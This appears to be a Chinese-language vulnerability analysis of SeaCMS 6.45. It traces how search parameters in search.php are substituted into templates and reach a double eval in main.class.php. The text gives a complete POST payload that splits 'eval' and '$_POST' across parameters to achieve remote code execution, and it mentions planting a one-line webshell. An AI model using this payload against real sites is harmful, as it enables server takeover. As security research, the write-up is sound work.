seacms-6.45
安装
版本:6.45
源码下载
到安装说明里面将其安装,如果安装了wamp或者phpstudy应该很简单了,不赘述。
一些需要知道的小知识
str_replace('a','b',$content)是将$content中的'a'替换成'b'
join(数组a)是将a中的元素拼接成一个字符串
addslashes($a)转义a的每个双引号
strpos($a,$b)在$a中查找$b第一次出现的位置,未找到则为false
search.php源码解析
提取关键代码:
关键代码1:
$whereStr.=" and v_publishyear='$year'";
$whereStr.=" and v_letter='$letter'";
$whereStr.=" and v_publisharea='$area'";
$whereStr.=" and v_lang='$yuyan'";
$whereStr.=" and v_jq like'%$jq%'";
$whereStr.=" and v_ver='$ver'";
关键代码2:
$content = str_replace("{searchpage:type}",$tid,$content);
$content = str_replace("{searchpage:typename}",$tname ,$content);
$content = str_replace("{searchpage:year}",$year,$content);
$content = str_replace("{searchpage:area}",$area,$content);
$content = str_replace("{searchpage:letter}",$letter,$content);
$content = str_replace("{searchpage:lang}",$yuyan,$content);
$content = str_replace("{searchpage:jq}",$jq,$content);
if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
$content = str_replace("{searchpage:state}",$state2,$content);
$content = str_replace("{searchpage:money}",$money2,$content);
$content = str_replace("{searchpage:ver}",$ver,$content);
构造初步post内容:
searchtype=5&searchword={searchpage:year}&year=:e{searchpage:area}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=print_r(scandir("."));
main.class.php源码解析
content是调用了此函数,追踪此函数:
第一个红框:$content必须含有’{if:’
第二个红框:这里不是很看得懂,就当做是把{if: }去除吧
第三个红框(应该是上一个eval,懒得改了):执行双eval
第三个红框那里等同于以下代码:
<?php
if(eval(join($_POST[9])))
{
$flag=1;
}
else
{
$flag=0;
}
?>
最终构造提交
最终构造内容为:
&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=print_r(scandi&9[]=r("."));
一句话木马
到v6.56为止此类任意代码执行漏洞才暂时没有了。